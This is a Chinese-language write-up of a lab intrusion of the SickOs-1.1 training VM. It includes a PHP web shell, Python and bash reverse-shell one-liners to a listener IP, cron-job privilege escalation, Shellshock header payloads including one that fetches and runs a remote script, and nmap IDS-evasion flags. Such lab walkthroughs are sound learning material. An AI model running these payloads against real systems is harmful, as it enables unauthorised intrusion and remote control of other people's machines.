SickOs-1.1靶机渗透
免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。
前言:本次靶机涉及到了Squid代理,建议先看我之前写的文章由SickOS引发的关于对Squid的思考
后再看这篇,这里对Squid具体解释就不再说明了
信息搜集
nmap -sn 10.144.71.0/24
nmap -sV -p- -T5 10.144.71.206
这里扫出来一个之前没有碰到过的Squid

图中也说明了是代理,所以得进行配置,如果直接访问是不行的:

简单一点的话可以用火狐,设置里面搜一下代理,配置一下就行

配置完之后直接访问ip即可显示页面,只有一个blehhh,搜了一下,意思是对某件事物感到厌烦或不满意,主页面没啥东西,扫一下目录,这里有个注意点是因为是经过Squid代理的,因此后面要加上--proxy
dirsearch -u http://10.144.71.206/ --proxy=10.144.71.206:3128
扫出来一个robots.txt,访问一下:

直接说明了是wolfCMS
先看了主页面给的没发现可以利用的点,那依旧扫目录,扫出来很多config目录下的,虽然感觉都是无权看的:

有用的大概就是readme,updating那块,看了一下有wolfcms的具体版本为v0.8.2

网上找找有无相应漏洞,说是一个文件上传漏洞,但是得先找到管理员路径,之前用dirsearch没有扫到相应的路径,而且这里的路径也很奇怪,那先用searchsploit找找:

这里有一个刚好是我们现在的版本号,并且在MSF中也有,尝试一下:

没有找到哎,问了一下说是Metasploit 在后续版本(尤其是 6.x)里对老模块进行了大量清理:代码风格更新、依赖调整、RuboCop 检查、弃用旧路径等。很多 2015–2017 年的第三方或临时提交的 CMS exploit 都没留下来,那可以具体看一下rb文件:
searchsploit -w php/remote/40004.rb

这里面就标注出了URL,那么我们可以先回到浏览器访问一下

成功找到后台,弱口令admin admin直接成功登录
获取shell
可以上传文件,在file中上传一个本地的php木马:
<?php echo shell_exec($_GET['cmd']);?>
然后下面我们要去找上传的路径在哪里,这个可以看一下官方文档

这里就能看到相应的结构,大概率为public,访问一下确实可以:

那么尝试python反弹shell:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.144.71.177',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

后渗透
横向移动
接下来就是提权操作了,文件找了一下刚开始没翻到啥有用的文件,然后sudo需要密码,SUID看起来也没什么利用的点,再转内核看看,是 3.11.0对应的Ubuntu版本为Ubuntu 13.10,网上搜了一下感觉不能RCE,searchsploit再看一眼:
searchsploit Ubuntu 13.10

....针对的都是64位系统,靶机只是32位,那么内核提权看来无望
还记得最开始的时候我们扫目录扫到的一大堆config路径下的文件吗,现在找找config路径位置:
find / -name "config.php" 2>/dev/null
发现了数据库的账户密码:
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');
进行登录后翻了一遍也没找到啥有用的信息,那就很奇怪了,看下用户:

有一个sickos,直接su不行需要密码,切换到家目录下看看有没有相应文件:

还是没有结果,难不成密码就是john@123? 后面尝试之后发现还真是....
sudo -l看一下,直接能提权:

那么就拿下了:

计划任务
然后其实还可以用到计划任务提权,重点关注etc/cron*里面的内容:

在cron.d路径下有一个automate文件,看一下具体内容:

给出了相应的路径,并且是以root权限运行(每分钟执行一次),那么就可以尝试写反弹shell,再开个监听:
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.144.71.177",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])' > /var/www/connect.py

成功提权!
复盘
本次更多的还是在信息搜集阶段,看了别的师傅写的之后感觉自己还欠缺好多,因此这里详细记录一下,
nmap扫描
首先就是开头扫网段的时候太过单一了,nmap一直用的就是这么两个命令,这里得进行拓展:
深度信息搜集
| 命令 | 作用 | 说明 |
|---|---|---|
nmap -sC -sV -O -p- -T4 目标IP |
默认安全脚本扫描 | -sC 会调用一大票默认脚本,能发现很多服务端配置问题和已知漏洞。-O 尝试识别操作系统。 |
nmap -sV --version-intensity 9 -p 端口号 目标IP |
高强度服务版本探测 | 当你怀疑服务藏得比较深,或者 -sV 默认强度没认出来时用。数值 0-9,越高越激进越准,但也越容易被发现。 |
nmap --script=vuln -p- -T4 目标IP |
漏洞扫描 | 直接跑 vuln 类脚本,专门检测目标是否存在已知漏洞。扫 Web 可能会有意外收获。 |
绕过防火墙与IDS/IPS
| 命令 | 作用 | 说明 |
|---|---|---|
nmap -sS -Pn -T2 -f -p 常用端口 目标IP |
碎片化SYN扫描 | -Pn 跳过主机发现(假设主机存活),-T2 极慢速,-f 把探测包分片,某些老防火墙无法重组检查。 |
nmap -sS -Pn --data-length 50 -p 端口 目标IP |
随机数据填充 | 在每个探测包末尾随机填充50字节垃圾数据,让特征匹配更困难。 |
nmap -sS -Pn -D RND:3 -p 端口 目标IP |
诱饵扫描 | -D RND:3 随机生成3个假IP和目标IP一起扫,隐藏自己。注意,你得确认自己有权限和目标网络能通,不然可能没用。 |
二次端口发现
之前火狐里面设置代理之后是直接访问ip就进了,没有详细说明为什么这个默认的80端口就是开着的,这里用到的是httpx,工作原理如下:
httpx会对目标发起真实的 HTTP 请求,然后根据返回的状态码、响应头、页面内容(比如 -td 参数)来判断这是一个真实网站,还是被代理劫持的页面。因此,它能识别出哪些是 nmap 因代理干扰而误报的“假端口”
httpx -u http://10.144.71.206 -p 1-1000 -proxy http://10.144.71.206:3128 -sc -title -silent
-u http://
-p 1-1000:对目标的 1-1000 端口逐个发起 HTTP 请求。注意,httpx 默认用 HTTP 协议探测,如果端口跑了 HTTPS 可能会失败或报错,需要额外加 -tls 参数
-proxy http://
-sc -title:只输出响应的 HTTP 状态码和网页标题
-silent:只显示有结果的探测,其他头信息全抑制

shellshock利用
然后就是漏扫软件的利用【虽然现在真实环境大部分都是秒封】,这里用到的是nikto
nikto -h 10.144.71.206 -useproxy http://10.144.71.206:3128
原理简要介绍
但是好像没有找到所说的CVE-2014,反倒有一个CVE-2003... 还是阿帕奇1.3的古早版本。网上师傅说有一个CVE-2014的shellshock,下面是简要的原理:
Bash支持将函数定义导出到环境变量中,以便子进程继承使用。这原本是一个方便的功能,但实现上存在严重缺陷:
Bash 在解析以 () { 开头的环境变量时,会将其视为函数定义
正常情况下:函数定义结束后,Bash 应该停止解析
漏洞版本的问题:Bash 没有正确终止解析,会继续把函数定义后面的内容当作命令来执行
playload示例
() { :; }; /bin/cat /etc/passwd
() { :; };→ 定义一个空函数(:; 是空命令)- 后面的 /bin/cat /etc/passwd → 被 Bash 当作额外命令直接执行
当 Bash 被调用(例如通过 bash -c "some command")时,就会执行这个恶意命令
很多服务会把客户端请求中的 HTTP Header(如 User-Agent、Cookie、Referer、Host 等)直接转换成环境变量传递给后端脚本
常见攻击场景包括:Apache + mod_cgi / mod_cgid(CGI 脚本)、PHP 的 CGI 模式、 DHCP 客户端、OpenSSH ForceCommand或任何使用 Bash 处理环境变量的脚本或服务
攻击者只需在 HTTP 请求头中注入类似下面的 Payload:
User-Agent: () { :; }; /bin/bash -c 'curl http://攻击者IP/shell.sh | bash'
如果服务器的 CGI 脚本调用了 Bash 处理请求,攻击者就能执行任意命令【下载后门、反弹 shell、读取敏感文件等】
漏洞利用
先进行测试:
curl -v --proxy http://10.144.71.206:3128 http://10.144.71.206/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
这里的核心是() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit 前半段() { test;};作为Shellshock 的触发器,Bash 把它当成函数定义,但后面的分号让它继续执行后面的内容
echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit
-
echo 'Content-Type: text/plain'—— 伪造 HTTP 头,让浏览器正常显示 -
echo; echo;—— 输出两个空行,隔开响应头和响应体 -
/usr/bin/id—— 真正要执行的命令,查看当前用户身份 -
exit—— 执行完退出,避免干扰

这样就说明了漏洞存在,因此可以执行反弹shell:
curl -v --proxy http://10.144.71.206:3128 http://10.144.71.206/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /bin/bash -i >& /dev/tcp/10.144.71.177/4444 0>&1"

(这里root是因为之前那个定时任务写的提权没删)
或者传webshell:
curl -v --proxy http://10.144.71.206:3128 http://10.144.71.206/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/printf '<?php system(\$_GET[\"cmd\"]); ?>' > /var/www/cmd.php; exit"
printf的格式化字符串里可以用 \转义单引号,引号层级清晰

后续同样可以进行python反弹
BP设置上游代理
最后便是BP在遇到有代理的情况下该如何进行操作:

按图中框出来的布置进行选择即可【我的是v25.9】,然后*代表着全局代理,后面不用了还是删掉比较好,然后就能正常进行爆破了(又学到了BP新的用法,还有太多太多未知)

总结
本次靶机首先在于需要设置相应的代理才能访问80端口,然后80端口通过httpx扫描得到,接下来就是对wolfcms的信息搜集,从网络上找再利用漏扫工具找出可能存在漏洞的点,之后通过上传相应文件获取反弹shell,最后通过横向移动或者计划任务得到root权限,这个过程层层递进,有多种方法拿到shell,也是又学到了好多知识点,期待SickOs-1.2★,°:.☆( ̄▽ ̄)/$:.°★ 。

浙公网安备 33010602011771号